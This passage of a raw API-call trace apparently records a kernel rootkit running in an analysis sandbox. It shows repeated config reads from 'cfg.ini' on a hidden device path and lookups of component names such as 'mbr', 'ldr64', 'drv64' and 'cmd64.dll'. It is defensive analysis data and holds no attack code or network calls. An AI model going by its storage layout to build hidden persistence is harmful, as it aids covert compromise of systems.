_MaxCount=0x10) returned -108 [0119.653] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0119.653] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0119.653] KeLeaveCriticalRegion () [0119.653] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0119.653] ReleaseMutex (hMutex=0x100) returned 1 [0119.653] Sleep (dwMilliseconds=0x2bf20) [0119.660] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x151f4c8 | out: lpSystemTimeAsFileTime=0x151f4c8*(dwLowDateTime=0x6a85eb70, dwHighDateTime=0x1d24fa4)) [0119.660] RtlTimeToSecondsSince1970 (in: Time=0x151f4c8, ElapsedSeconds=0x151f4b0 | out: ElapsedSeconds=0x151f4b0) returned 1 [0119.660] WaitForSingleObject (hHandle=0xf0, dwMilliseconds=0xffffffff) returned 0x0 [0119.660] GetPrivateProfileIntA (lpAppName="main", lpKeyName="knt", nDefault=0, lpFileName="\\\\?\\globalroot\\device\\000001a9\\0d24eb7c\\cfg.ini") returned 0x0 [0119.660] _snprintf (in: _Dest=0xfffff880028b2450, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0119.660] KeEnterCriticalRegion () [0119.660] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0119.660] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8003aa6e20 [0119.660] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8003aa6e20 | out: Irp=0xfffffa8003aa6e20) returned 0xfffffa8003baf190 [0119.660] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003baf190) [0119.660] KeInitializeEvent (in: Event=0xfffff880028b22c0, Type=0x0, State=0 | out: Event=0xfffff880028b22c0) [0119.660] IdePortDispatch () returned 0x103 [0119.660] KeWaitForMutexObject () returned 0x0 [0119.660] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0119.660] _strnicmp (_Str1="cmd.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0119.660] _strnicmp (_Str1="cmd64.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0119.660] strncpy (in: _Dest=0xfffffa80027daf68, _Source="cfg.ini", _Count=0x10 | out: _Dest="cfg.ini") returned="cfg.ini" [0119.660] FsRtlInitializeFileLock (FileLock=0xfffffa80027daf78, CompleteLockIrpRoutine=0x0, UnlockRoutine=0x0) [0119.660] FsRtlAllocatePool (PoolType=0x0, NumberOfBytes=0x50) returned 0xfffffa8003bcaca0 [0119.660] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0119.660] KeLeaveCriticalRegion () [0119.660] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0119.660] _snprintf (in: _Dest=0xfffff880028b2780, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0119.660] KeEnterCriticalRegion () [0119.660] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0119.660] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa80039d7d20, Context=0x0) returned 0x0 [0119.660] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0119.660] KeLeaveCriticalRegion () [0119.660] _snprintf (in: _Dest=0xfffff880028b2790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0119.660] KeEnterCriticalRegion () [0119.660] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0119.661] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8003aa6e20 [0119.661] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8003aa6e20 | out: Irp=0xfffffa8003aa6e20) returned 0xfffffa8003baf190 [0119.661] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003baf190) [0119.661] KeInitializeEvent (in: Event=0xfffff880028b2620, Type=0x0, State=0 | out: Event=0xfffff880028b2620) [0119.661] IdePortDispatch () returned 0x103 [0119.661] KeWaitForMutexObject () returned 0x0 [0119.661] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0119.661] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0119.661] KeLeaveCriticalRegion () [0119.661] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0119.661] _snprintf (in: _Dest=0xfffff880028b2770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0119.661] KeEnterCriticalRegion () [0119.661] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0119.661] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0x10) returned 0xfffff8800345a000 [0119.661] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8003aa6e20 [0119.661] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8003aa6e20 | out: Irp=0xfffffa8003aa6e20) returned 0xfffffa8003b87f40 [0119.661] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b87f40, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b87f40) [0119.661] KeInitializeEvent (in: Event=0xfffff880028b25d0, Type=0x0, State=0 | out: Event=0xfffff880028b25d0) [0119.661] IdePortDispatch () returned 0x103 [0119.661] KeWaitForMutexObject () returned 0x0 [0119.661] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0119.661] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8003aa6e20 [0119.661] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8003aa6e20 | out: Irp=0xfffffa8003aa6e20) returned 0xfffffa8003b87f40 [0119.661] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b87f40, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b87f40) [0119.661] KeInitializeEvent (in: Event=0xfffff880028b25d0, Type=0x0, State=0 | out: Event=0xfffff880028b25d0) [0119.661] IdePortDispatch () returned 0x103 [0119.661] KeWaitForMutexObject () returned 0x0 [0119.662] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0119.662] KeLeaveCriticalRegion () [0119.662] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0119.662] _snprintf (in: _Dest=0xfffff880028b2790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0119.662] KeEnterCriticalRegion () [0119.662] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0119.662] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa80039d7d20, Context=0x0) returned 0x0 [0119.662] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0119.662] KeLeaveCriticalRegion () [0119.662] _snprintf (in: _Dest=0xfffff880028b2750, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0119.662] KeEnterCriticalRegion () [0119.662] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0119.662] IoGetRequestorProcess (Irp=0xfffffa80039d7d20) returned 0xfffffa80034fca60 [0119.662] FsRtlFastUnlockAll (FileLock=0xfffffa80027daf78, FileObject=0xfffffa8003bca810, ProcessId=0xfffffa80034fca60, Context=0x0) returned 0xc000007e [0119.662] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0119.662] KeLeaveCriticalRegion () [0119.662] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0119.662] _snprintf (in: _Dest=0xfffff880028b2770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0119.662] KeEnterCriticalRegion () [0119.662] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0119.662] ExFreePoolWithTag (P=0xfffffa8003bcaca0, Tag=0x0) [0119.662] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0119.662] KeLeaveCriticalRegion () [0119.662] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0119.662] ReleaseMutex (hMutex=0xf0) returned 1 [0119.662] WaitForSingleObject (hHandle=0xf0, dwMilliseconds=0xffffffff) returned 0x0 [0119.663] GetPrivateProfileIntA (lpAppName="cmd", lpKeyName="dlc_srand", nDefault=0, lpFileName="\\\\?\\globalroot\\device\\000001a9\\0d24eb7c\\cfg.ini") returned 0x0 [0119.663] _snprintf (in: _Dest=0xfffff880028b2450, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0119.663] KeEnterCriticalRegion () [0119.663] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0119.663] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8003aa6e20 [0119.663] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8003aa6e20 | out: Irp=0xfffffa8003aa6e20) returned 0xfffffa8003baf190 [0119.663] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003baf190) [0119.663] KeInitializeEvent (in: Event=0xfffff880028b22c0, Type=0x0, State=0 | out: Event=0xfffff880028b22c0) [0119.663] IdePortDispatch () returned 0x103 [0119.663] KeWaitForMutexObject () returned 0x0 [0119.663] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0119.663] _strnicmp (_Str1="cmd.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0119.663] _strnicmp (_Str1="cmd64.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0119.663] strncpy (in: _Dest=0xfffffa80027daf68, _Source="cfg.ini", _Count=0x10 | out: _Dest="cfg.ini") returned="cfg.ini" [0119.663] FsRtlInitializeFileLock (FileLock=0xfffffa80027daf78, CompleteLockIrpRoutine=0x0, UnlockRoutine=0x0) [0119.663] FsRtlAllocatePool (PoolType=0x0, NumberOfBytes=0x50) returned 0xfffffa8003bca560 [0119.663] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0119.663] KeLeaveCriticalRegion () [0119.663] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0119.663] _snprintf (in: _Dest=0xfffff880028b2780, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0119.663] KeEnterCriticalRegion () [0119.663] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0119.663] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa80039d7d20, Context=0x0) returned 0x0 [0119.663] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0119.663] KeLeaveCriticalRegion () [0119.663] _snprintf (in: _Dest=0xfffff880028b2790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0119.663] KeEnterCriticalRegion () [0119.663] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0119.663] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8003aa6e20 [0119.663] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8003aa6e20 | out: Irp=0xfffffa8003aa6e20) returned 0xfffffa8003baf190 [0119.663] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003baf190) [0119.663] KeInitializeEvent (in: Event=0xfffff880028b2620, Type=0x0, State=0 | out: Event=0xfffff880028b2620) [0119.663] IdePortDispatch () returned 0x103 [0119.663] KeWaitForMutexObject () returned 0x0 [0119.664] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0119.664] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0119.664] KeLeaveCriticalRegion () [0119.664] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0119.664] _snprintf (in: _Dest=0xfffff880028b2770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0119.664] KeEnterCriticalRegion () [0119.664] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0119.664] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0x10) returned 0xfffff8800345b000 [0119.664] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8003aa6e20 [0119.664] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8003aa6e20 | out: Irp=0xfffffa8003aa6e20) returned 0xfffffa8003b87f40 [0119.664] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b87f40, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b87f40) [0119.664] KeInitializeEvent (in: Event=0xfffff880028b25d0, Type=0x0, State=0 | out: Event=0xfffff880028b25d0) [0119.664] IdePortDispatch () returned 0x103 [0119.664] KeWaitForMutexObject () returned 0x0 [0119.664] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0119.664] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8003aa6e20 [0119.664] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8003aa6e20 | out: Irp=0xfffffa8003aa6e20) returned 0xfffffa8003b87f40 [0119.664] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b87f40, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b87f40) [0119.664] KeInitializeEvent (in: Event=0xfffff880028b25d0, Type=0x0, State=0 | out: Event=0xfffff880028b25d0) [0119.664] IdePortDispatch () returned 0x103 [0119.664] KeWaitForMutexObject () returned 0x0 [0119.664] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0119.664] KeLeaveCriticalRegion () [0119.664] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0119.665] _snprintf (in: _Dest=0xfffff880028b2790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0119.665] KeEnterCriticalRegion () [0119.665] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0119.665] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa80039d7d20, Context=0x0) returned 0x0 [0119.665] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0119.665] KeLeaveCriticalRegion () [0119.665] _snprintf (in: _Dest=0xfffff880028b2750, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0119.665] KeEnterCriticalRegion () [0119.665] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0119.665] IoGetRequestorProcess (Irp=0xfffffa80039d7d20) returned 0xfffffa80034fca60 [0119.665] FsRtlFastUnlockAll (FileLock=0xfffffa80027daf78, FileObject=0xfffffa8003bca620, ProcessId=0xfffffa80034fca60, Context=0x0) returned 0xc000007e [0119.665] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0119.665] KeLeaveCriticalRegion () [0119.665] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0119.665] _snprintf (in: _Dest=0xfffff880028b2770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0119.665] KeEnterCriticalRegion () [0119.665] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0119.665] ExFreePoolWithTag (P=0xfffffa8003bca560, Tag=0x0) [0119.665] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0119.665] KeLeaveCriticalRegion () [0119.665] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0119.665] ReleaseMutex (hMutex=0xf0) returned 1 [0119.665] WaitForSingleObject (hHandle=0xf0, dwMilliseconds=0xffffffff) returned 0x0 [0119.665] GetPrivateProfileIntA (lpAppName="cmd", lpKeyName="delay", nDefault=3600, lpFileName="\\\\?\\globalroot\\device\\000001a9\\0d24eb7c\\cfg.ini") returned 0xe10 [0119.665] _snprintf (in: _Dest=0xfffff880028b2450, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0119.665] KeEnterCriticalRegion () [0119.665] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0119.665] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8003aa6e20 [0119.665] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8003aa6e20 | out: Irp=0xfffffa8003aa6e20) returned 0xfffffa8003baf190 [0119.665] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003baf190) [0119.665] KeInitializeEvent (in: Event=0xfffff880028b22c0, Type=0x0, State=0 | out: Event=0xfffff880028b22c0) [0119.665] IdePortDispatch () returned 0x103 [0119.666] KeWaitForMutexObject () returned 0x0 [0119.666] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0119.666] _strnicmp (_Str1="cmd.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0119.666] _strnicmp (_Str1="cmd64.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0119.666] strncpy (in: _Dest=0xfffffa80027daf68, _Source="cfg.ini", _Count=0x10 | out: _Dest="cfg.ini") returned="cfg.ini" [0119.666] FsRtlInitializeFileLock (FileLock=0xfffffa80027daf78, CompleteLockIrpRoutine=0x0, UnlockRoutine=0x0) [0119.666] FsRtlAllocatePool (PoolType=0x0, NumberOfBytes=0x50) returned 0xfffffa80039d67e0 [0119.666] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0119.666] KeLeaveCriticalRegion () [0119.666] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0119.666] _snprintf (in: _Dest=0xfffff880028b2780, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0119.666] KeEnterCriticalRegion () [0119.666] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0119.666] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa80039d7d20, Context=0x0) returned 0x0 [0119.666] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0119.666] KeLeaveCriticalRegion () [0119.666] _snprintf (in: _Dest=0xfffff880028b2790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0119.666] KeEnterCriticalRegion () [0119.666] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0119.666] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8003aa6e20 [0119.666] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8003aa6e20 | out: Irp=0xfffffa8003aa6e20) returned 0xfffffa8003baf190 [0119.666] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003baf190) [0119.666] KeInitializeEvent (in: Event=0xfffff880028b2620, Type=0x0, State=0 | out: Event=0xfffff880028b2620) [0119.666] IdePortDispatch () returned 0x103 [0119.666] KeWaitForMutexObject () returned 0x0 [0119.666] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0119.666] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0119.666] KeLeaveCriticalRegion () [0119.666] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0119.667] _snprintf (in: _Dest=0xfffff880028b2770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0119.667] KeEnterCriticalRegion () [0119.667] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0119.667] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0x10) returned 0xfffff8800345c000 [0119.667] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8003aa6e20 [0119.667] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8003aa6e20 | out: Irp=0xfffffa8003aa6e20) returned 0xfffffa8003b87f40 [0119.667] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b87f40, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b87f40) [0119.667] KeInitializeEvent (in: Event=0xfffff880028b25d0, Type=0x0, State=0 | out: Event=0xfffff880028b25d0) [0119.667] IdePortDispatch () returned 0x103 [0119.667] KeWaitForMutexObject () returned 0x0 [0119.667] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0119.667] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8003aa6e20 [0119.667] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8003aa6e20 | out: Irp=0xfffffa8003aa6e20) returned 0xfffffa8003b87f40 [0119.667] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b87f40, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b87f40) [0119.667] KeInitializeEvent (in: Event=0xfffff880028b25d0, Type=0x0, State=0 | out: Event=0xfffff880028b25d0) [0119.667] IdePortDispatch () returned 0x103 [0119.667] KeWaitForMutexObject () returned 0x0 [0119.667] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0119.667] KeLeaveCriticalRegion () [0119.667] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0119.668] _snprintf (in: _Dest=0xfffff880028b2790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0119.668] KeEnterCriticalRegion () [0119.668] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0119.668] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa80039d7d20, Context=0x0) returned 0x0 [0119.668] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0119.668] KeLeaveCriticalRegion () [0119.668] _snprintf (in: _Dest=0xfffff880028b2750, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0119.668] KeEnterCriticalRegion () [0119.668] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0119.668] IoGetRequestorProcess (Irp=0xfffffa80039d7d20) returned 0xfffffa80034fca60 [0119.668] FsRtlFastUnlockAll (FileLock=0xfffffa80027daf78, FileObject=0xfffffa8003bdb840, ProcessId=0xfffffa80034fca60, Context=0x0) returned 0xc000007e [0119.668] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0119.668] KeLeaveCriticalRegion () [0119.668] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0119.668] _snprintf (in: _Dest=0xfffff880028b2770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0119.668] KeEnterCriticalRegion () [0119.668] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0119.668] ExFreePoolWithTag (P=0xfffffa80039d67e0, Tag=0x0) [0119.668] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0119.668] KeLeaveCriticalRegion () [0119.668] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0119.668] ReleaseMutex (hMutex=0xf0) returned 1 [0119.668] WaitForSingleObject (hHandle=0x108, dwMilliseconds=0x0) returned 0x102 [0119.668] WaitForSingleObject (hHandle=0x100, dwMilliseconds=0xffffffff) returned 0x0 [0119.668] CreateFileA (lpFileName="\\\\?\\globalroot\\device\\000001a9\\0d24eb7c\\lsash.xp" (normalized: "\\device\\000001a9\\0d24eb7c\\lsash.xp"), dwDesiredAccess=0x80000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffffffffffff [0119.668] _snprintf (in: _Dest=0xfffff880028b2450, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\lsash.xp") returned 17 [0119.668] KeEnterCriticalRegion () [0119.668] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0119.668] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8003aa6e20 [0119.668] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8003aa6e20 | out: Irp=0xfffffa8003aa6e20) returned 0xfffffa8003baf190 [0119.668] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003baf190) [0119.668] KeInitializeEvent (in: Event=0xfffff880028b22c0, Type=0x0, State=0 | out: Event=0xfffff880028b22c0) [0119.668] IdePortDispatch () returned 0x103 [0119.668] KeWaitForMutexObject () returned 0x0 [0119.669] _strnicmp (_Str1="cfg.ini", _Str="lsash.xp", _MaxCount=0x10) returned -9 [0119.669] _strnicmp (_Str1="mbr", _Str="lsash.xp", _MaxCount=0x10) returned 1 [0119.669] _strnicmp (_Str1="ldr16", _Str="lsash.xp", _MaxCount=0x10) returned -15 [0119.669] _strnicmp (_Str1="ldr32", _Str="lsash.xp", _MaxCount=0x10) returned -15 [0119.669] _strnicmp (_Str1="ldr64", _Str="lsash.xp", _MaxCount=0x10) returned -15 [0119.669] _strnicmp (_Str1="drv32", _Str="lsash.xp", _MaxCount=0x10) returned -8 [0119.669] _strnicmp (_Str1="drv64", _Str="lsash.xp", _MaxCount=0x10) returned -8 [0119.669] _strnicmp (_Str1="cmd.dll", _Str="lsash.xp", _MaxCount=0x10) returned -9 